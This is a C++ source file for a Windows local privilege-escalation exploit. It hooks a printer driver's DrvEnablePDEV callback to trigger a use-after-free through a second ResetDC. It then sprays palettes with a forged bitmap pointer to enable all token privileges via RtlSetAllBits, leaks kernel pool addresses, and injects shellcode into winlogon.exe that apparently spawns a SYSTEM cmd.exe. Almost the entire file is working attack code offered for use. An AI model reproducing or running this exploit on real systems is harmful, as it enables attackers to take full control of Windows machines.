exploit.cpp

#include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <winternl.h>
#include <psapi.h>
#include <tlhelp32.h>


#define SystemHandleInformation         0x10
#define SystemBigPoolInformation        0x42
#define ThreadNameInformation           0x26

typedef BOOL(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);
typedef DHPDEV(*DrvEnablePDEV_t)(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
typedef VOID(*VoidFunc_t)();
typedef NTSTATUS(*NtSetInformationThread_t)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

NtSetInformationThread_t SetInformationThread;
NtQuerySystemInformation_t QuerySystemInformation;

namespace globals {
    LPWSTR printerName;
    HDC hdc;
    DWORD counter;
    BOOL shouldTrigger;
    VoidFunc_t origDrvFuncs[INDEX_LAST];
    DWORD64 rtlSetAllBits;
    DWORD64 fakeRtlBitMapAddr;
    DWORD currentProcessId;
}
/*=========================================== FOR HOOKING ====================================================================*/

void SprayPalettes(DWORD size)
{

    DWORD palCount = (size - 0x90) / 4;
    DWORD palSize = sizeof(LOGPALETTE) + (palCount - 1) * sizeof(PALETTEENTRY);
    LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palSize);

    if (lPalette == NULL) {
        printf("[-] Create palette failed");
        return;
    }

    lPalette->palNumEntries = (WORD)palCount;
    lPalette->palVersion = 0x300;

    DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);

    for (DWORD i = 0; i < 0x100; i++)
        p[i] = globals::fakeRtlBitMapAddr;

    for (DWORD i = 0x120; i < palSize / 8; i++)
        p[i] = globals::rtlSetAllBits;

    CreatePalette(lPalette);

}

typedef struct _DriverHook
{
    ULONG index;
    FARPROC func;
} DriverHook;

DHPDEV hook_DrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);

DriverHook driverHooks[] = {
    { INDEX_DrvEnablePDEV, (FARPROC)hook_DrvEnablePDEV },
};

DHPDEV hook_DrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver)
{
    printf("[*] Hooked DrvEnablePDEV called\n");

    DHPDEV res = ((DrvEnablePDEV_t)globals::origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);

    // check if the vulnerability has been triggered
    if (globals::shouldTrigger == TRUE)
    {
        globals::shouldTrigger = FALSE;

        printf("[*] Triggering UAF with second ResetDC\n");

        HDC hdc_2nd = ResetDCW(globals::hdc, NULL);
        printf("[*] Returned from second ResetDC\n");
        printf("[*] Spraying palettes\n");

        SprayPalettes(0xe30);

        printf("[>] Done\n");
    }

    return res;
}

BOOL UsermodeCallbackHook() {
    DrvEnableDriver_t DrvEnableDriver;
    DWORD pcbNeeded, pcbReturned, lpflOldProtect, _lpflOldProtect;
    PRINTER_INFO_4W* pPrinterEnum, * printerInfo;
    HANDLE hPrinter;
    DRIVER_INFO_2W* driverInfo;
    HMODULE hModule;
    DRVENABLEDATA drvEnableData;
    BOOL res;

    // Find available printers
    EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);

    if (pcbNeeded <= 0)
    {
        printf("[-] Failed to find any available printers");
        return FALSE;
    }

    pPrinterEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);

    // Enumerate all available printers and store them in the buffer
    res = EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned);

    if (res == FALSE || pcbReturned <= 0)
    {
        printf("[-] Failed to enumerate printers");
        return FALSE;
    }

    for (DWORD i = 0; i < pcbReturned; i++) {
        printerInfo = &pPrinterEnum[i];

        printf("[*] Using printer: %ws\n", printerInfo->pPrinterName);

        // Get the handle of the printer
        res = OpenPrinterW(printerInfo->pPrinterName, &hPrinter, NULL);
        if (!res) {
            printf("[-] Failed to open printer");
            continue;
        }

        printf("[+] Opened printer: %ws\n", printerInfo->pPrinterName);
        globals::printerName = _wcsdup(printerInfo->pPrinterName);

        // Get the printer driver
        GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);

        driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);

        res = GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded);

        printf("[*] Driver DLL: %ws\n", driverInfo->pDriverPath);

        // Load the printer driver into current process's memory
        hModule = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

        if (hModule == NULL) {
            printf("[-] Failed to load printer driver\n");
            continue;
        }

        // Get printer driver's DrvEnableDriver
        DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver");

        if (DrvEnableDriver == NULL)
        {
            printf("[-] Failed to get exported functions from driver\n");
            continue;
        }

        // Get the printer driver's usermode callback table
        res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);

        if (res == FALSE)
        {
            printf("[-] Failed to enable driver\n");
            continue;
        }

        printf("[+] Enabled printer driver\n");

        // Unprotect the driver's usermode callback table, such that we can overwrite entries
        res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect);

        if (res == FALSE)
        {
            printf("[-] Failed to unprotect printer driver's usermode callback table");
            continue;
        }

        // Loop over hooks
        for (DWORD i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++)
        {
            // Loop over driver's usermode callback table
            for (DWORD n = 0; n < drvEnableData.c; n++)
            {
                ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;

                // Check if hook INDEX matches entry INDEX
                if (driverHooks[i].index == iFunc)
                {
                    // Saved original function pointer
                    globals::origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn;
                    // Overwrite function pointer with hook function pointer
                    drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func;
                    break;
                }
            }
        }

        // Restore protections for driver's usermode callback table
        VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect);

        return TRUE;
    }

    return FALSE;
}

/*=========================================== FOR HOOKING ====================================================================*/
/*========================================= forge memory layout ========================================================*/

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;


typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct
{
    DWORD64 Address;
    DWORD64 PoolSize;
    CHAR PoolTag[4];
    CHAR Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;

/* Get kernel base address of ntoskrnl.exe */
DWORD64 GetKernelBase() {
    DWORD lpcbNeeded;
    BOOL res;
    DWORD64* deviceDrivers;
    DWORD64 kernelBase;
    res = EnumDeviceDrivers(NULL, 0, &lpcbNeeded);

    deviceDrivers = (DWORD64*)malloc(lpcbNeeded);

    res = EnumDeviceDrivers((LPVOID*)deviceDrivers, lpcbNeeded, &lpcbNeeded);

    if (res == FALSE) {
        return NULL;
    }

    // First entry matches ntoskrnl.exe
    kernelBase = deviceDrivers[0];

    free(deviceDrivers);

    return kernelBase;
}

DWORD64 GetKernelPointer(HANDLE handle, DWORD type) {

    PSYSTEM_HANDLE_INFORMATION buffer;
    DWORD objTypeNumber, bufferSize;
    DWORD64 object;

    buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
    bufferSize = 0x20;

    // Query information for all handles on the system (Requires at least medium integrity level)
    NTSTATUS status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);

    if (status == (NTSTATUS)0xC0000004L) {
        free(buffer);
        buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
        status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
    }

    if (buffer == NULL || status != 0)
        return 0;

    for (size_t i = 0; i < buffer->NumberOfHandles; i++)
    {
        objTypeNumber = buffer->Handles[i].ObjectTypeIndex;

        // Check if process ID matches current process ID and if object type matches the provided object type
        if (buffer->Handles[i].UniqueProcessId == globals::currentProcessId && buffer->Handles[i].ObjectTypeIndex == type)
        {
            // Check if handle value matches
            if (handle == (HANDLE)buffer->Handles[i].HandleValue)
            {
                // Match the kernel address
                object = (DWORD64)buffer->Handles[i].Object;
                free(buffer);
                return object;
            }
        }
    }

    printf("[-] failed to find handle");
    free(buffer);

    return 0;
}

DWORD64 GetProcessTokenKernelAddress() {
    /* Get kernel address of current process token */

    HANDLE proc, token;
    DWORD64 tokenKernelAddress;

    // Get handle for current process
    proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, globals::currentProcessId);
    if (proc == NULL) {
        printf("[-] Failed to open current process");
        return 0;
    }

    // Get handle for current process token
    if (OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token) == FALSE)
    {
        printf("[-] Failed to open process token");
        return 0;
    }

    // Get kernel address for current process token handle
    for (DWORD i = 0; i < 0x100; i++) {
        tokenKernelAddress = GetKernelPointer(token, 0x5);

        if (tokenKernelAddress != 0) {
            break;
        }
    }

    if (tokenKernelAddress == 0) {
        printf("[-] Failed to get token kernel address");
        return 0;
    }

    return tokenKernelAddress;
}

DWORD64 CreateForgedBitMapHeader(DWORD64 token) {

    DWORD dwBufSize, dwOutSize, dwThreadID, dwExpectedSize;
    HANDLE hThread;
    USHORT dwSize;
    LPVOID _BitMapHeader, pBuffer;
    UNICODE_STRING target;
    HRESULT hRes;
    ULONG_PTR StartAddress, EndAddress, ptr;
    PBIG_POOL_INFO info;

    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &dwThreadID);

    dwSize = 0x1000;

    _BitMapHeader = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);

    memset(_BitMapHeader, 0x41, 0x20);

    *(DWORD64*)_BitMapHeader = 0x80;                    // BitMapHeader->SizeOfBitMap
    *(DWORD64*)((DWORD64)_BitMapHeader + 8) = token;    // BitMapHeader->Buffer

    target = {};

    target.Length = dwSize;
    target.MaximumLength = 0xffff;
    target.Buffer = (PWSTR)_BitMapHeader;

    hRes = SetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);

    dwBufSize = 1024 * 1024;
    pBuffer = LocalAlloc(LPTR, dwBufSize);

    hRes = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);

    dwExpectedSize = target.Length + sizeof(UNICODE_STRING);

    StartAddress = (ULONG_PTR)pBuffer;
    EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
    ptr = StartAddress + 8;
    while (ptr < EndAddress)
    {
        info = (PBIG_POOL_INFO)ptr;

        if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
        {
            return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
        }
        ptr += sizeof(BIG_POOL_INFO);
    }

    printf("[-] Failed to leak pool address for forged BitMapHeader\n");

    return NULL;
}



void Init() {
    DWORD64 kernelBase, token, rtlSetAllBitsOffset;
    HMODULE kernelModule, ntdllModule;

    ntdllModule = LoadLibraryW(L"ntdll.dll");

    if (ntdllModule == NULL) {
        puts("[-] Failed to load NTDLL");
        return;
    }

    globals::currentProcessId = GetCurrentProcessId();

    SetInformationThread = (NtSetInformationThread_t)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationThread");
    QuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");

    kernelBase = GetKernelBase();
    kernelModule = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (kernelBase == NULL || kernelModule == NULL) {
        puts("[-] Failed");
        return;
    }

    token = GetProcessTokenKernelAddress();

    if (token == 0) {
        puts("[-] Failed to get token kernel address");
        return;
    }

    rtlSetAllBitsOffset = (DWORD64)GetProcAddress(kernelModule, "RtlSetAllBits");

    if (rtlSetAllBitsOffset == NULL) {
        puts("[-] Failed to find RtlSetAllBits");
        return;
    }

    /*calculate the address of rtlSetAllBits*/
    globals::rtlSetAllBits = (DWORD64)kernelBase + rtlSetAllBitsOffset - (DWORD64)kernelModule;

    /* Create fake bitmap address*/
    globals::fakeRtlBitMapAddr = CreateForgedBitMapHeader(token + 0x40);
    if (globals::fakeRtlBitMapAddr == NULL) {
        puts("[-] Failed to pool leak address of token");
        return;
    }

    UsermodeCallbackHook();
}


/*============================================Inject to Winlogon.exe========================================================*/

void InjectToWinlogon() {
    unsigned char payload[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
        "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
        "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
        "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
        "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
        "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
        "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
        "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
        "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
        "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
        "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
        "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
        "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
        "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
        "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
        "\x78\x65\x00";

    PROCESSENTRY32 entry;
    HANDLE snapshot, proc;

    entry.dwSize = sizeof(PROCESSENTRY32);

    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    INT pid = -1;
    if (Process32First(snapshot, &entry))
    {
        while (Process32Next(snapshot, &entry))
        {
            if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
            {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }

    CloseHandle(snapshot);

    if (pid < 0)
    {
        puts("[-] Could not find winlogon.exe");
        return;
    }

    proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (proc == NULL)
    {
        puts("[-] Failed to open process");
        return;
    }

    LPVOID buffer = VirtualAllocEx(proc, NULL, sizeof(payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (buffer == NULL)
    {
        printf("[-] Failed to allocate remote memory");
    }

    if (!WriteProcessMemory(proc, buffer, payload, sizeof(payload), 0))
    {
        puts("[-] Failed to write to remote memory");
        return;
    }

    HANDLE hthread = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

    if (hthread == INVALID_HANDLE_VALUE)
    {
        puts("[-] Failed to create remote thread");
        return;
    }
}


int main() {
    Init();
    // Create new Hdc
    globals::hdc = CreateDCW(NULL, globals::printerName, NULL, NULL);

    if (globals::hdc == NULL)
    {
        printf("[-] Failed to create device context");
        return 0;
    }
    globals::shouldTrigger = TRUE;

    // first ResetDC
    ResetDC(globals::hdc, NULL);

    printf("[*] Exploit complete and all privileges\n");
    InjectToWinlogon();

    printf("[*] Get system successfully\n ");

}